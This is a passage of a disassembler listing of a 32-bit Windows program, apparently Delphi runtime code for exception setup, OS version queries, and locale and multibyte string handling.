		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40984C:				; CODE XREF: sub_4097D0+25j
					; sub_4097D0+33j ...
		mov	al, 16h
		retn
sub_4097D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_409850:				; DATA XREF: sub_409B0C+7Fo
		call	sub_4097D0
		and	eax, 0FFh
		mov	eax, ds:dword_41C218[eax*8]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409864	proc near		; CODE XREF: sub_409A30+54p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_409A1F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_4098B5
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_41DC88
		call	sub_404B80
		jmp	short loc_4098C2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4098B5:				; CODE XREF: sub_409864+40j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_41DBF8
		call	sub_404B80

loc_4098C2:				; CODE XREF: sub_409864+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	j_VirtualQuery_0
		cmp	[ebp+var_10], 1000h
		jnz	loc_409994
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	j_GetModuleFileNameA_1
		test	eax, eax
		jz	loc_409994
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_4036F8
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_4073EC
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, ds:off_41DC28
		call	sub_404B80
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, ds:off_406854
		call	sub_40948C
		mov	ebx, eax
		jmp	short loc_4099EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409994:				; CODE XREF: sub_409864+77j
					; sub_409864+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, ds:off_41DC50
		call	sub_404B80
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, ds:off_406854
		call	sub_40948C
		mov	ebx, eax

loc_4099EE:				; CODE XREF: sub_409864+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_409A26

loc_4099FB:				; CODE XREF: CODE:00409A24j
		lea	eax, [ebp+var_170]
		call	sub_4034C8
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_409864	endp ; sp = -194h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409A1F:				; DATA XREF: sub_409864+2Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4099FB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409A26:				; DATA XREF: sub_409864+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409A30	proc near		; DATA XREF: sub_409B0C+8Ao

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_409AEB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4097D0
		and	eax, 0FFh
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_409A6C
		jz	short loc_409A83
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_409A8E

loc_409A6C:				; CODE XREF: sub_409A30+32j
		lea	eax, dword_41C218[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_409450
		mov	ebx, eax
		jmp	short loc_409ABE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409A83:				; CODE XREF: sub_409A30+34j
		push	ebp
		call	sub_409864
		pop	ecx
		mov	ebx, eax
		jmp	short loc_409ABE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409A8E:				; CODE XREF: sub_409A30+3Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_41DAD8
		call	sub_404B80
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_4063C4
		call	sub_40948C
		mov	ebx, eax

loc_409ABE:				; CODE XREF: sub_409A30+51j
					; sub_409A30+5Cj
		mov	eax, ebx
		mov	edx, ds:off_40636C
		call	sub_402C40
		test	al, al
		jz	short loc_409AD5
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax

loc_409AD5:				; CODE XREF: sub_409A30+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_409AF2

loc_409AE2:				; CODE XREF: CODE:00409AF0j
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		retn
sub_409A30	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409AEB:				; DATA XREF: sub_409A30+12o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_409AE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409AF2:				; DATA XREF: sub_409A30+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_409AFC	dd 0FFF8D7E8h, 1B8FFh, 0A5E80000h, 0C3FFFF99h ;	DATA XREF: sub_409B0C+67o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409B0C	proc near		; CODE XREF: sub_40B2D4+46p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_409BCD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_41DB10
		call	sub_404B80
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4062B8
		call	sub_409450
		mov	ds:dword_41E5F4, eax
		lea	edx, [ebp+var_8]
		mov	eax, ds:off_41DBDC
		call	sub_404B80
		mov	ecx, [ebp+var_8]
		mov	dl, 1
		mov	eax, ds:off_406740
		call	sub_409450
		mov	ds:dword_41E5F8, eax
		mov	eax, ds:off_41DAE0
		mov	dword ptr [eax], offset	sub_409688
		mov	eax, ds:off_41DB54
		mov	dword ptr [eax], offset	dword_409AFC
		mov	eax, ds:off_41DB04
		mov	edx, ds:off_4061F4
		mov	[eax], edx
		mov	eax, ds:off_41DB48
		mov	dword ptr [eax], offset	loc_409850
		mov	eax, ds:off_41DB58
		mov	dword ptr [eax], offset	sub_409A30
		mov	eax, ds:off_41DBF0
		mov	dword ptr [eax], offset	sub_409788
		mov	eax, ds:off_41DAD4
		mov	dword ptr [eax], offset	sub_4097A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_409BD4

loc_409BBF:				; CODE XREF: CODE:00409BD2j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_409B0C	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409BCD:				; DATA XREF: sub_409B0C+Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_409BBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409BD4:				; DATA XREF: sub_409B0C+AEo
		pop	ecx
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409BD8	proc near		; CODE XREF: sub_40B194+2Cp
		mov	eax, ds:dword_41E5F4
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_41E5F4
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_41E5F4, eax
		mov	eax, ds:dword_41E5F8
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_41E5F8
		call	sub_402BDC
		xor	eax, eax
		mov	ds:dword_41E5F8, eax
		mov	eax, ds:off_41DAE0
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_41DB54
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_41DB04
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_41DB48
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_41DB58
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_41DBF0
		xor	edx, edx
		mov	[eax], edx
		retn
sub_409BD8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409C44	proc near		; CODE XREF: sub_40B2D4+50p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	j_GetVersionExA
		test	eax, eax
		jz	short loc_409C92
		mov	eax, [esp+94h+var_84]
		mov	ds:dword_41C0C0, eax
		mov	eax, [esp+94h+var_90]
		mov	ds:dword_41C0C4, eax
		mov	eax, [esp+94h+var_8C]
		mov	ds:dword_41C0C8, eax
		mov	eax, [esp+94h+var_88]
		mov	ds:dword_41C0CC, eax
		mov	eax, offset unk_41C0D0
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_4036F8

loc_409C92:				; CODE XREF: sub_409C44+15j
		add	esp, 94h
		retn
sub_409C44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409C9C	proc near		; CODE XREF: sub_409D14+1Bp
					; sub_409D38+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_409D0C
		cmp	byte ptr [eax+edi], 0
		jz	short loc_409D0C
		test	edi, edi
		jnz	short loc_409CC4
		mov	al, [eax]
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_409D0C
		mov	dl, 1
		jmp	short loc_409D0C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409CC4:				; CODE XREF: sub_409C9C+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_409CCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409CC9:				; CODE XREF: sub_409C9C+42j
		dec	esi

loc_409CCA:				; CODE XREF: sub_409C9C+2Bj
		test	esi, esi
		jl	short loc_409CE0
		mov	cl, [eax+esi]
		and	ecx, 0FFh
		bt	ds:dword_41C104, ecx
		jb	short loc_409CC9

loc_409CE0:				; CODE XREF: sub_409C9C+30j
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_409CF1
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx

loc_409CF1:				; CODE XREF: sub_409C9C+4Ej
		test	ecx, ecx
		jnz	short loc_409CF9
		mov	dl, 2
		jmp	short loc_409D0C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409CF9:				; CODE XREF: sub_409C9C+57j
		mov	al, [eax+edi]
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_409D0C
		mov	dl, 1

loc_409D0C:				; CODE XREF: sub_409C9C+8j
					; sub_409C9C+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_409C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409D14	proc near		; CODE XREF: sub_4072D4+37p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_409D34
		mov	eax, ebx
		call	sub_4038E8
		mov	edx, esi
		dec	edx
		call	sub_409C9C

loc_409D34:				; CODE XREF: sub_409D14+Fj
		pop	esi
		pop	ebx
		retn
sub_409D14	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409D38	proc near		; CODE XREF: sub_407688+1Bp
					; sub_409F28+1Cp
		xor	ecx, ecx
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_409D4A
		call	sub_409C9C
		mov	ecx, eax

loc_409D4A:				; CODE XREF: sub_409D38+9j
		mov	eax, ecx
		retn
sub_409D38	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409D50	proc near		; CODE XREF: sub_408234+E8p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_403724
		cmp	esi, eax
		jle	short loc_409D6A
		mov	eax, ebx
		call	sub_403724
		mov	esi, eax

loc_409D6A:				; CODE XREF: sub_409D50+Fj
		mov	edx, esi
		mov	eax, ebx
		call	sub_409D78
		pop	esi
		pop	ebx
		retn
sub_409D50	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409D78	proc near		; CODE XREF: sub_409D50+1Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	edi, eax
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_409DC0
		mov	eax, edi
		call	sub_403724
		cmp	ebx, eax
		jg	short loc_409DC0
		mov	esi, ebx
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_409DC0
		mov	eax, 1
		xor	esi, esi
		cmp	ebx, eax
		jl	short loc_409DC0

loc_409DA6:				; CODE XREF: sub_409D78+46j
		mov	dl, [edi+eax-1]
		and	edx, 0FFh
		bt	ds:dword_41C104, edx
		jnb	short loc_409DBA
		inc	eax

loc_409DBA:				; CODE XREF: sub_409D78+3Fj
		inc	eax
		inc	esi
		cmp	ebx, eax
		jge	short loc_409DA6

loc_409DC0:				; CODE XREF: sub_409D78+Bj
					; sub_409D78+16j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409D78	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_409DC8	proc near		; CODE XREF: sub_409E3C+35p
					; sub_409EA0+38p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	eax, esi
		call	sub_403724
		mov	edi, eax
		mov	edx, 1
		mov	eax, 1
		jmp	short loc_409E03
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409DED:				; CODE XREF: sub_409DC8+42j
		inc	edx
		mov	cl, [esi+eax-1]
		and	ecx, 0FFh
		bt	ds:dword_41C104, ecx
		jnb	short loc_409E02
		inc	eax

loc_409E02:				; CODE XREF: sub_409DC8+37j
		inc	eax

loc_409E03:				; CODE XREF: sub_409DC8+23j
		cmp	edi, eax
		jle	short loc_409E0C
		cmp	edx, [ebp+var_4]
		jl	short loc_409DED

loc_409E0C:				; CODE XREF: sub_409DC8+3Dj
		cmp	edx, [ebp+var_4]
		jnz	short loc_409E29
		cmp	edi, eax
		jle	short loc_409E29
		mov	cl, [esi+eax-1]
		and	ecx, 0FFh
		bt	ds:dword_41C104, ecx
		jnb	short loc_409E29
		inc	eax

loc_409E29:				; CODE XREF: sub_409DC8+47j
					; sub_409DC8+4Bj ...
		mov	ecx, [ebp+var_8]
		mov	[ecx], edx
		mov	edx, [ebp+arg_0]
		mov	[edx], eax
		pop	edi
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_409DC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409E3C	proc near		; CODE XREF: sub_408234+F9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+8+var_8], eax
		test	ebx, ebx
		jle	short loc_409E98
		mov	eax, esi
		call	sub_403724
		cmp	ebx, eax
		jg	short loc_409E98
		cmp	ebx, 1
		jle	short loc_409E95
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_409E95
		push	esp
		lea	ecx, [esp+0Ch+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_409DC8
		dec	ebx
		cmp	ebx, [esp+8+var_4]
		jg	short loc_409E89
		mov	eax, esi
		call	sub_403724
		cmp	eax, [esp+8+var_8]
		jg	short loc_409E90

loc_409E89:				; CODE XREF: sub_409E3C+3Fj
		xor	eax, eax
		mov	[esp+8+var_8], eax
		jmp	short loc_409E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409E90:				; CODE XREF: sub_409E3C+4Bj
		inc	[esp+8+var_8]
		jmp	short loc_409E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409E95:				; CODE XREF: sub_409E3C+20j
					; sub_409E3C+29j
		mov	[esp+8+var_8], ebx

loc_409E98:				; CODE XREF: sub_409E3C+10j
					; sub_409E3C+1Bj ...
		mov	eax, [esp+8+var_8]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_409E3C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409EA0	proc near		; CODE XREF: sub_408234+BEp
					; sub_408234+121p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+8+var_8], eax
		test	ebx, ebx
		jle	short loc_409EF8
		mov	eax, esi
		call	sub_403724
		cmp	ebx, eax
		jle	short loc_409EC6
		mov	eax, esi
		call	sub_403724
		mov	ebx, eax

loc_409EC6:				; CODE XREF: sub_409EA0+1Bj
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_409EF5
		push	esp
		lea	ecx, [esp+0Ch+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_409DC8
		mov	eax, esi
		call	sub_403724
		cmp	eax, [esp+8+var_8]
		jge	short loc_409EF8
		mov	eax, esi
		call	sub_403724
		mov	[esp+8+var_8], eax
		jmp	short loc_409EF8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409EF5:				; CODE XREF: sub_409EA0+2Dj
		mov	[esp+8+var_8], ebx

loc_409EF8:				; CODE XREF: sub_409EA0+10j
					; sub_409EA0+47j ...
		mov	eax, [esp+8+var_8]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_409EA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409F00	proc near		; CODE XREF: CODE:004092CEp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	edx, ebx
		call	sub_409F28
		mov	esi, eax
		test	bl, bl
		jz	short loc_409F23
		test	eax, eax
		jz	short loc_409F23

loc_409F15:				; CODE XREF: sub_409F00+21j
		mov	esi, eax
		inc	eax
		mov	edx, ebx
		call	sub_409F28
		test	eax, eax
		jnz	short loc_409F15

loc_409F23:				; CODE XREF: sub_409F00+Fj
					; sub_409F00+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_409F00	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409F28	proc near		; CODE XREF: sub_409F00+6p
					; sub_409F00+1Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_407628
		mov	edi, eax
		test	edi, edi
		jz	short loc_409F62

loc_409F3E:				; CODE XREF: sub_409F28+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_409D38
		sub	al, 1
		jb	short loc_409F62
		jz	short loc_409F51
		jmp	short loc_409F52
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409F51:				; CODE XREF: sub_409F28+25j
		inc	edi

loc_409F52:				; CODE XREF: sub_409F28+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_407628
		mov	edi, eax
		test	edi, edi
		jnz	short loc_409F3E

loc_409F62:				; CODE XREF: sub_409F28+14j
					; sub_409F28+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409F28	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_409F68	proc near		; CODE XREF: sub_40A020+1Ep

var_18		= byte ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, offset dword_41C104
		lea	ebp, [esp+18h+var_14]
		mov	esi, offset unk_41E5A8
		mov	dword ptr [esi], 409h
		mov	word ptr [esi+4], 9
		mov	word ptr [esi+6], 1
		call	j_GetThreadLocale_0
		test	eax, eax
		jz	short loc_409F9A
		mov	[esi], eax

loc_409F9A:				; CODE XREF: sub_409F68+2Ej
		test	ax, ax
		jz	short loc_409FB4
		mov	edx, eax
		and	dx, 3FFh
		mov	[esi+4], dx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	[esi+6], ax

loc_409FB4:				; CODE XREF: sub_409F68+35j
		push	4Ah
		call	j_GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	[esi+9], al
		push	2Ah
		call	j_GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	[esi+8], bl
		test	bl, bl
		jz	short loc_40A016
		push	ebp
		push	0
		call	j_GetCPInfo
		xor	esi, esi
		jmp	short loc_40A007
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_409FE2:				; CODE XREF: sub_409F68+ACj
		mov	al, [ebp+esi+6]
		mov	bl, [ebp+esi+7]
		sub	bl, al
		jb	short loc_40A004
		inc	ebx
		mov	[esp+18h+var_18], al

loc_409FF2:				; CODE XREF: sub_409F68+9Aj
		mov	al, [esp+18h+var_18]
		and	eax, 0FFh
		bts	[edi], eax
		inc	[esp+18h+var_18]
		dec	bl
		jnz	short loc_409FF2

loc_40A004:				; CODE XREF: sub_409F68+84j
		add	esi, 2

loc_40A007:				; CODE XREF: sub_409F68+78j
		cmp	esi, 0Ch
		jge	short loc_40A016
		mov	al, [ebp+esi+6]
		or	al, [ebp+esi+7]
		jnz	short loc_409FE2

loc_40A016:				; CODE XREF: sub_409F68+6Cj
					; sub_409F68+A2j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409F68	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40A020	proc near		; CODE XREF: sub_40B2D4+4Bp

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8

loc_40A028:				; CODE XREF: sub_40A020+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_40A028
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_40A2EB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_409F68
		call	sub_408D9C
		cmp	byte ptr ds:dword_41E5B0, 0
		jz	short loc_40A056
		call	sub_408F74

loc_40A056:				; CODE XREF: sub_40A020+2Fj
		call	j_GetThreadLocale_0
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_408CEC
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_41E4E8
		call	sub_40351C
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_407058
		mov	ds:byte_41E4EC,	al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_407058
		mov	ds:byte_41E4ED,	al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_408D38
